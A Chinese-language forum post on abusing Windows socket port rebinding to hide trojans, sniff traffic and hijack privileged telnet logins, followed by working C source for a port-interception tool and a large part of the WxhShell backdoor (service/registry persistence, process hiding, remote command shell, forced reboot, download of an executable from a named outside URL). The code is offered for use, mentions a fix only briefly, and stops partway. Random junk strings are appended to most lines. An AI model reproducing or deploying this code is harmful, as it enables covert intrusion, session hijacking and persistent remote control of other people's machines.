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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: bkmW[w:M  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L||_Jsu  
5+U2@XV  
  saddr.sin_family = AF_INET; (nP 6Xq  
ciKkazx.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \Ol3kx|  
|7IlYy&:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 8J|pj4ce  
CbK&.a  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _=0;5OrK1X  
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  这意味着什么?意味着可以进行如下的攻击: Qxds]5WB/  
)tQG5.to  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 '& L;y  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) b XcDsP$.  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 D;bQ"P-m47  
jRz2l`~7#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =~r?(u6d  
p'afCX@J  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 jF}zv  
LS:3Dtq  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 KZ ezA4  
VdpkE0  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 GD1=Fb"&)  
]a% *$TF  
  #include T!6H5>zA  
  #include 1j*I`xZ  
  #include L2ePWctq}  
  #include    !Ju?REH   
  DWORD WINAPI ClientThread(LPVOID lpParam);   yHW=,V.  
  int main() I\R5Cb<p  
  { zUn> )#ZC  
  WORD wVersionRequested; G9\Bi-'ul  
  DWORD ret; Y""-U3;T~  
  WSADATA wsaData; f~Dl;f~H_;  
  BOOL val; cvn4Q-^  
  SOCKADDR_IN saddr; xG<H${ k;  
  SOCKADDR_IN scaddr; :"ZH  
  int err; u>;#.N/  
  SOCKET s; dfB#+wh  
  SOCKET sc; T:0X-U  
  int caddsize; LV:oNK(  
  HANDLE mt; & -  
  DWORD tid;   db"FC3/H  
  wVersionRequested = MAKEWORD( 2, 2 ); (_ov _3  
  err = WSAStartup( wVersionRequested, &wsaData ); 'e-Nt&;  
  if ( err != 0 ) { v _Bu  
  printf("error!WSAStartup failed!\n"); i |>K  
  return -1; _I_Sq,Z#  
  } fk!wq. a  
  saddr.sin_family = AF_INET; 8VvoPlo  
   :oF\?e  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 yWIM,2x}  
8WWRKP1V  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); g~d}?B\<@  
  saddr.sin_port = htons(23); Egt;Bj#%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x8p#WB  
  { |u)?h] >  
  printf("error!socket failed!\n"); G8`q-B}q  
  return -1; LGT\1u  
  } e , zR  
  val = TRUE; /:>f$k4~h  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ygn"7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2F-!SI  
  { lj.z>  
  printf("error!setsockopt failed!\n"); BQf}S +  
  return -1; 87EI<\mP  
  } );$Uf!v4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~BCSm]j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 pTZPOv#?Q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 t~p9iGX<  
#{(?a.:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) P,!W\N%3  
  { ?/"@WP9  
  ret=GetLastError(); 'j$iSW&  
  printf("error!bind failed!\n"); io cr  
  return -1; ro37H2^Ty  
  } xkl'Y*  
  listen(s,2); \Ja%u"D A  
  while(1)  ;9c3IK@  
  { oUZwZ_yKW  
  caddsize = sizeof(scaddr); ) 0$7{3  
  //接受连接请求 4UoUuKzt  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); pRXA!QfO  
  if(sc!=INVALID_SOCKET) W<;i~W  
  { +8[h&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >82Q!HaH  
  if(mt==NULL) E?&dZR  
  { 'q1)W'  
  printf("Thread Creat Failed!\n"); ?7G?uk]3,@  
  break; Z!6\KV]  
  } }"fP,:n"KN  
  } $c0SWz  
  CloseHandle(mt); mT@UQCG  
  } @Th.=  
  closesocket(s);  yyk[oH-Q  
  WSACleanup(); (|ga#%iI  
  return 0; PiI ):B>  
  }   }K;@$B6,@  
  DWORD WINAPI ClientThread(LPVOID lpParam) [?W3XUJ,Y  
  { L3nHvKA]  
  SOCKET ss = (SOCKET)lpParam; Opmb   
  SOCKET sc; xpFu$2T6P.  
  unsigned char buf[4096]; e}/c`7M  
  SOCKADDR_IN saddr; UuT>qWxQ8  
  long num; Dc oTa-~  
  DWORD val; 3Q[]lFJ}F  
  DWORD ret; qfppJ8L  
  //如果是隐藏端口应用的话,可以在此处加一些判断 s;}';#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Mim 9C]h(  
  saddr.sin_family = AF_INET; 9{i6g+  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); mMrvr9%  
  saddr.sin_port = htons(23);  'm}~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]G&?e9OA  
  { jb)z[!FbM  
  printf("error!socket failed!\n"); P>L-,R(7e  
  return -1; 7r"!&P* ,  
  } 9|jIrS%/~  
  val = 100; _w+sx5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EPI mh  
  { Sijwh1j*V  
  ret = GetLastError();  ceVej'  
  return -1; ;^}cZ  
  } lZ^XZjwoM  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) CJjma=XH  
  { / c/!13|  
  ret = GetLastError(); MnKEZ: 2  
  return -1; nUmA  
  } ErB6fl  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @[zPN[z .  
  { /RmLV  
  printf("error!socket connect failed!\n"); ,Q(n(m'  
  closesocket(sc); bLu6|YB  
  closesocket(ss); GOH@|2N  
  return -1; &#.XLe\y  
  } G7%Nwe~Y  
  while(1) 0g]ABzTn  
  { p`{<q -  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Fxv~;o#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @Z@yI2#e  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !Si ZA"  
  num = recv(ss,buf,4096,0); <6p{eGAQV  
  if(num>0) QwOQS %  
  send(sc,buf,num,0); u9mMkzgSkP  
  else if(num==0) /CKkT.Le  
  break; xkUsZ*X8B  
  num = recv(sc,buf,4096,0); a+\ Gz  
  if(num>0) ~<v`&Gm?"  
  send(ss,buf,num,0); M%&`&{  
  else if(num==0) }kL% l  
  break; K* [cJcY+  
  } 6gakopZO  
  closesocket(ss); F1Egcx/$V  
  closesocket(sc); t47 f$gq  
  return 0 ; 34JkB+#a  
  } 5?9}^s4  
Vl^jTX5N  
5I T'u3V  
========================================================== [p4a\Qg0  
}qV4]*+{  
下边附上一个代码,,WXhSHELL o>U%3-+T^J  
z RvYN  
========================================================== (jY.S|%  
+ 6r@HK`,t  
#include "stdafx.h" (O&~*7D*  
P[XE5puC  
#include <stdio.h> tm+}@CM^.  
#include <string.h> !n uXK  
#include <windows.h> %l: %c  
#include <winsock2.h> v~uwQ&AH  
#include <winsvc.h> JEJ] '3  
#include <urlmon.h> #J2856bzS  
j?w7X?1(  
#pragma comment (lib, "Ws2_32.lib") D ?,P\cp  
#pragma comment (lib, "urlmon.lib") |r0j>F  
/^/'9}7  
#define MAX_USER   100 // 最大客户端连接数 u#J5M&#  
#define BUF_SOCK   200 // sock buffer *WMcE$w/D  
#define KEY_BUFF   255 // 输入 buffer ?0'bf y]  
pk;bx2CP8  
#define REBOOT     0   // 重启 0" R|lTYq  
#define SHUTDOWN   1   // 关机 ynP^|Ou  
3: mF!  
#define DEF_PORT   5000 // 监听端口 qV iky=/-  
Y 3KCIL9  
#define REG_LEN     16   // 注册表键长度 i>)Whr'e8  
#define SVC_LEN     80   // NT服务名长度 D\* raQ`n  
c$uV8_V  
// 从dll定义API & NOKrN~HX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <YJU?G:@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); IHxX:a/iv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9SAyU%mS:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Pq7YJ"Z?:  
C8&)-v|  
// wxhshell配置信息 @ULr)&9  
struct WSCFG { XHpoaHyx  
  int ws_port;         // 监听端口 CUxSmN2[  
  char ws_passstr[REG_LEN]; // 口令 #+Vvf  
  int ws_autoins;       // 安装标记, 1=yes 0=no JvHJ*E   
  char ws_regname[REG_LEN]; // 注册表键名 l[\[)X3$  
  char ws_svcname[REG_LEN]; // 服务名 0dIJgKanGP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |&RdOjw$u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,3fw"P$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m?<C\&)6x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |dX#4Mq^,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FpW{=4yk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >xP $A{  
Y;#P"-yH  
}; ^{~y+1lt'  
A|y&\~<A  
// default Wxhshell configuration TC R(  
struct WSCFG wscfg={DEF_PORT, H.i_,ZF  
    "xuhuanlingzhe",  Nu9mK  
    1, KY|Q#i|pM  
    "Wxhshell", [xI@)5Xk  
    "Wxhshell", Y/@4|9!  
            "WxhShell Service", _v2FXm   
    "Wrsky Windows CmdShell Service", y\x!Be;6Z.  
    "Please Input Your Password: ", $fn Fi|-  
  1, R )?8A\<E  
  "http://www.wrsky.com/wxhshell.exe", BT#'<!7!  
  "Wxhshell.exe" :_Ng`b/  
    }; 7sLs+ |<"  
!*pK#  
// 消息定义模块 o"UqI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; PkG+`N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vaK$j!%FE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rm"bplLZA  
char *msg_ws_ext="\n\rExit."; w #1l)+  
char *msg_ws_end="\n\rQuit."; 25YJH1x  
char *msg_ws_boot="\n\rReboot..."; FirmzB Il5  
char *msg_ws_poff="\n\rShutdown..."; AE7>jkHB  
char *msg_ws_down="\n\rSave to "; 7Bmt^J5i&t  
C'5i>;  
char *msg_ws_err="\n\rErr!"; eU{=x$o6S  
char *msg_ws_ok="\n\rOK!"; MWhFNfS8=  
IL>Gi`Y&  
char ExeFile[MAX_PATH]; r."Dc  
int nUser = 0; ~@sx}u  
HANDLE handles[MAX_USER]; xQJdt $]U@  
int OsIsNt; 26\1tOj Np  
z ^a,7}4  
SERVICE_STATUS       serviceStatus; VK ?,8Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Uyi_B.:`  
=cRJtn  
// 函数声明 M:C*?;K:  
int Install(void); KZDB\T  
int Uninstall(void); [ 8v)\lu  
int DownloadFile(char *sURL, SOCKET wsh); -4hX -  
int Boot(int flag); &1B)mj  
void HideProc(void); ]@WJ&e/'@  
int GetOsVer(void); :5"|iRP'  
int Wxhshell(SOCKET wsl); %AW  
void TalkWithClient(void *cs); #j;&g1  
int CmdShell(SOCKET sock); &:{| nDT_2  
int StartFromService(void); y f+/Kj< a  
int StartWxhshell(LPSTR lpCmdLine); ]Fj z+CGg  
9"<)DS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <'B`b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U'lrdc"Q  
wetkmd  
// 数据结构和表定义 j4brDlo?@  
SERVICE_TABLE_ENTRY DispatchTable[] = l"ih+%S  
{ tnKzg21%  
{wscfg.ws_svcname, NTServiceMain}, OwDjUKeN  
{NULL, NULL} L {5zA5#m  
}; M(/%w"R  
B>~E6j7[Mp  
// 自我安装 bJ/~UEZw  
int Install(void) jkPXkysm  
{ e1+ %c9UQ  
  char svExeFile[MAX_PATH]; q:nYUW o   
  HKEY key; ]vu' +F$  
  strcpy(svExeFile,ExeFile); ;%U`lE0  
T]E$H, p  
// 如果是win9x系统,修改注册表设为自启动 qtgj"4,:`  
if(!OsIsNt) { LW,!B.`@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m'429E]\S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k,q` ^E8k  
  RegCloseKey(key); O gycP4z[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Grw_SVa^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ; G E0iSC  
  RegCloseKey(key); h!)(R<  
  return 0; %7V?7BE  
    } jP}N^  
  } a2 YdkdjT  
} >GZF \ER  
else { ?mF-zA'4]  
EzthRe9  
// 如果是NT以上系统,安装为系统服务 GU"MuW`u2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'l<kY\I!%  
if (schSCManager!=0) [x)BQX'  
{ *4.f*3*  
  SC_HANDLE schService = CreateService eH1Y!&`  
  ( 2gFQHV  
  schSCManager, 0e/~H^,SQ  
  wscfg.ws_svcname, uHwuw_eK`  
  wscfg.ws_svcdisp, My5X%)T>P  
  SERVICE_ALL_ACCESS, :!aFfb["  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , FiFZM  
  SERVICE_AUTO_START, E>7%/TIl  
  SERVICE_ERROR_NORMAL, E2dSOZS:)%  
  svExeFile, i&?~QQP`  
  NULL, Y4b"(ZhM_  
  NULL, & f!!UZMt)  
  NULL, ~[,E i k  
  NULL, Ie+z"&0  
  NULL OGae]O<  
  ); ^(6.P)$  
  if (schService!=0)  T>LtN  
  { Q0M8 }  
  CloseServiceHandle(schService); -|ee=BV  
  CloseServiceHandle(schSCManager); 1zl@$ Nt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tU?lfU[7  
  strcat(svExeFile,wscfg.ws_svcname); ,,,5pCi\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { } RM?gE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G%4vZPA  
  RegCloseKey(key); VoP(!.Ua>7  
  return 0; ,rTR |>Z  
    } ,cj34W`FWq  
  } {qh`8  
  CloseServiceHandle(schSCManager); LfK <%(:  
} 3 #jPQ[+  
} "h)+fAT|,  
JbG+ysn  
return 1; 6%:'2;xM  
} %=NqxF>>  
&Cdd  
// 自我卸载 67f#Z&r2k  
int Uninstall(void) Ho\z ^w+T`  
{ O0~[]3Y[=  
  HKEY key; =I*"vwc?  
7e u7ie6  
if(!OsIsNt) { EI/_=.d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g:OVAA  
  RegDeleteValue(key,wscfg.ws_regname); 0WYVt"|;}c  
  RegCloseKey(key); _YbHnb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hQX|wWh  
  RegDeleteValue(key,wscfg.ws_regname); v|n.AGn  
  RegCloseKey(key); OZ7MpQ  
  return 0; ~omX(kPzK  
  } ^yBx.GrQc  
} R=PjLH&)  
} i%-c/ lop  
else { AMtFOXx%I  
3pl.<;9r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y}F+4   
if (schSCManager!=0) ==|//:: \  
{ JqFFI:Q5a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z/a]oR@  
  if (schService!=0) *jDzh;H!w  
  { >5XE*9  
  if(DeleteService(schService)!=0) { 9/Q5(P  
  CloseServiceHandle(schService); QvqX3FU  
  CloseServiceHandle(schSCManager); v`no dI  
  return 0; iiO4.@nT  
  } "9R3S[  
  CloseServiceHandle(schService); tohYwXN  
  } QDSB <0j  
  CloseServiceHandle(schSCManager); 2uqdx'^"  
} H%sbf& gi  
} &o)j@5Y?  
g3"`b)M  
return 1; 80 p7+W2m  
} h!MZ 6}zb)  
a}%>i~v<  
// 从指定url下载文件 x/5%a{~j2  
int DownloadFile(char *sURL, SOCKET wsh) j63w(Jv/  
{ <51(q_f  
  HRESULT hr; V =1Y&y  
char seps[]= "/"; ^bS&[+9E  
char *token; My=p>{s  
char *file; _%"/I96'  
char myURL[MAX_PATH]; _`ot||J  
char myFILE[MAX_PATH]; .7cQKdvcC  
Rz%+E0  
strcpy(myURL,sURL); 'N'EC`R  
  token=strtok(myURL,seps); Z?1.Y7Npr  
  while(token!=NULL) Qs</.PO  
  { opdi5 e)jK  
    file=token; U%U%a,rA5s  
  token=strtok(NULL,seps); dp-8,Seu  
  } i wK,XnIR  
z q(AN<  
GetCurrentDirectory(MAX_PATH,myFILE); 'KM@$2tK^q  
strcat(myFILE, "\\"); QBDi;Xzb+  
strcat(myFILE, file); Q<Utwk?nL  
  send(wsh,myFILE,strlen(myFILE),0); 5f}wQ  
send(wsh,"...",3,0); !=eui$]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  ;-U :t4  
  if(hr==S_OK) FRX'"gIR0  
return 0; P(qUx9  
else )*$'e<?`  
return 1; :Q!U;33aG  
>a@-OJ.yOk  
} )1&[uE#L  
;v>2z!M  
// 系统电源模块 c00a;=ji  
int Boot(int flag) w_4`Wsn  
{ IQY\L@"  
  HANDLE hToken; ob-z-iDz  
  TOKEN_PRIVILEGES tkp; lYD-U8  
LB U]^t@ M  
  if(OsIsNt) { e3\*Np!rTQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g$ 9Yfu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); </Q<*@p?  
    tkp.PrivilegeCount = 1; ,in`JM<o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l}K {=%U>7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'tp+g3V  
if(flag==REBOOT) { s#-`,jqD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 57D /"  
  return 0; %A:<rO85o  
} exZa:9 sp  
else { 7n}J}8Y*U2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2NqlE  
  return 0; oTT/;~I  
} S'vrO}yU  
  } ->$Do$  
  else { SU Hyg/|F  
if(flag==REBOOT) { gQ/-.1Pz$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q>o1kTI  
  return 0; 1i^!A&  
} R\ <HR9r  
else { ~ex1,J*}t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E0Ig/ j  
  return 0; 45q-x_  
} fPa FL}&  
} Q4}2-}|  
D$!(Iae  
return 1; 68W&qzw.[r  
} |^8l8u  
Nz\=M|@(#  
// win9x进程隐藏模块 pa4zSl  
void HideProc(void) Ae;> @k/|=  
{ mfg{% .1  
o.* 8$$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); '%l<33*  
  if ( hKernel != NULL ) i4JqU\((]  
  { <TC\Nb$~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I Bo)fE\O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~\6Kq`Y  
    FreeLibrary(hKernel); x?y)a9&Hm  
  } 6"/cz~h  
n2Q~fx<6%  
return; CcG{+-= H)  
} "+~La{ POc  
'K"V{  
// 获取操作系统版本 -1DQO|q#  
int GetOsVer(void) M._9/ *C U  
{ S[n ;u-U  
  OSVERSIONINFO winfo; ;r B2Q H]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U4w^eWzP  
  GetVersionEx(&winfo); wG ua"@IE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4w<U%57  
  return 1; f]jAa?d T&  
  else i<m1^a#C'  
  return 0; ZQlja  
} ,Tvfn`;(  
Mxc0=I'a  
// 客户端句柄模块 [ ]}E- V  
int Wxhshell(SOCKET wsl) &-dyg+b3  
{ DZ<q)EpC  
  SOCKET wsh; & w&JE]$ 5  
  struct sockaddr_in client; o $7:*jU  
  DWORD myID; ifHQ2Ug 9  
2/<VoK0b  
  while(nUser<MAX_USER) S|CN)8Jsi  
{ fzT|{vG8  
  int nSize=sizeof(client); *I:^g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BGh1hyJ8d  
  if(wsh==INVALID_SOCKET) return 1; \vjIw{   
iO4Yfj#?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h8iic  
if(handles[nUser]==0) \fj* .[,  
  closesocket(wsh); ANR?An  
else |08b=aR6ro  
  nUser++; 1MkQ$v7m  
  } wJ,l"bnq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Zi<Y?Vm/,O  
e* {'A  
  return 0; "j#;MOK  
} j *B,b4  
gY9HEfB  
// 关闭 socket &FHzd/  
void CloseIt(SOCKET wsh) FZf{kWH  
{ /@h)IuW  
closesocket(wsh); `@!4#3H  
nUser--; I?<5 %  
ExitThread(0); GTgG0Ifeh  
} 8vpB(VxV+  
#e|G!'wdj  
// 客户端请求句柄 lgWEB3f .  
void TalkWithClient(void *cs) {]-AuC2E/0  
{ ' 5`w5swbc  
Ac{"$P`  
  SOCKET wsh=(SOCKET)cs; jrJ!A(<)  
  char pwd[SVC_LEN]; u*u3<YQ  
  char cmd[KEY_BUFF]; 6AD#x7drj  
char chr[1]; X` r~cc  
int i,j; P_6JweN  
fhp\of/@ R  
  while (nUser < MAX_USER) { 1- Jd Qs6  
^Y[.-MJt+  
if(wscfg.ws_passstr) { qtlXDgppO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `>'%!E9G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); : E`/z@I  
  //ZeroMemory(pwd,KEY_BUFF); 4}-{sS}MP  
      i=0; +||y/}1  
  while(i<SVC_LEN) { jRdmQ mTJ  
*f<+yF{=A  
  // 设置超时 .S4c<pMap  
  fd_set FdRead; Y=0D[o8  
  struct timeval TimeOut; #2 Gy=GvV  
  FD_ZERO(&FdRead); 7-S?\:J  
  FD_SET(wsh,&FdRead); b{4@ ~>i  
  TimeOut.tv_sec=8; +OEqDXR+_  
  TimeOut.tv_usec=0; 2E7vuFH4c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -|_#6-9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X$mCn#8m  
QAN :  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `_"F7Czn  
  pwd=chr[0]; .l1uqCuB  
  if(chr[0]==0xd || chr[0]==0xa) { "L ,)4v/J  
  pwd=0; % \N52  
  break; 8);G'7O  
  } l5; SY  
  i++; TQ hu$z<  
    } P)D2PVD  
jgpSFb<9F  
  // 如果是非法用户,关闭 socket 5 1&||.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); olLVT<  
} Z@sDxYt9  
X"hdCY%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pb8sx1.j;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9feVy\u  
QT`|"RI%  
while(1) { ~| CWy  
LeP;HP|  
  ZeroMemory(cmd,KEY_BUFF); |-+IF,j  
9pF@#A9p  
      // 自动支持客户端 telnet标准   OQ*BPmS-   
  j=0; YL[n85l>1  
  while(j<KEY_BUFF) { WZh%iuI{C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D_s0)|j$cy  
  cmd[j]=chr[0]; >G#SfE$0  
  if(chr[0]==0xa || chr[0]==0xd) { WlJ=X$  
  cmd[j]=0; r~2>_LK  
  break; 'aV/\a:*  
  } NQ&\t[R[  
  j++; r. z=  
    } GycW3tc]_&  
ZsnFuk#W  
  // 下载文件 ^mp#7OL  
  if(strstr(cmd,"http://")) { 9I1D'7wI^^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  Q{K '#  
  if(DownloadFile(cmd,wsh)) O %m\ Q1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "39\@Ow  
  else AT{rg/oSf  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >v?&&FhHK<  
  } "O (N=|b  
  else { sd m4zV]&  
),!1B%  
    switch(cmd[0]) { H\vd0DD;  
  [uLwr$N<%L  
  // 帮助 NP#6'eH\  
  case '?': { Q%T[&A}3B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #OMFv.  
    break; k.5(d.*(  
  } I,8f{T!O@"  
  // 安装 v w  
  case 'i': { %noByq,?  
    if(Install()) 6, ~Y(#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BG&XCn5g|  
    else VY1&YR}Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,h<xL-  
    break; kN~:Bh$  
    } d}:eLC  
  // 卸载 V9:Jz Q=?`  
  case 'r': { ' pN[H\Ia  
    if(Uninstall()) I5%#A/|z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]Y.GU7`  
    else C0`Bi:Ze  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V$?@ z>7  
    break; D\H;_k8  
    } rWMG6+Scb  
  // 显示 wxhshell 所在路径 % S vfY{  
  case 'p': { {VmJVO]S  
    char svExeFile[MAX_PATH]; gJFx#s0?6.  
    strcpy(svExeFile,"\n\r"); zBjtPtiiI8  
      strcat(svExeFile,ExeFile); 7{ JIHY+  
        send(wsh,svExeFile,strlen(svExeFile),0); >}7Ml  
    break; p[^a4E_v  
    } t@vVE{`  
  // 重启 Kg;u.4.-M  
  case 'b': { h<0&|s*a)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4roqD;5|~|  
    if(Boot(REBOOT)) eJ ;a}{ 4%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b0| ;v-v  
    else { ASU.VY  
    closesocket(wsh); BB9+d"Sq  
    ExitThread(0); ud grZ/w]  
    } \?_M_5Nb  
    break; o)2KQ$b>Q  
    } C{<H)?]*BF  
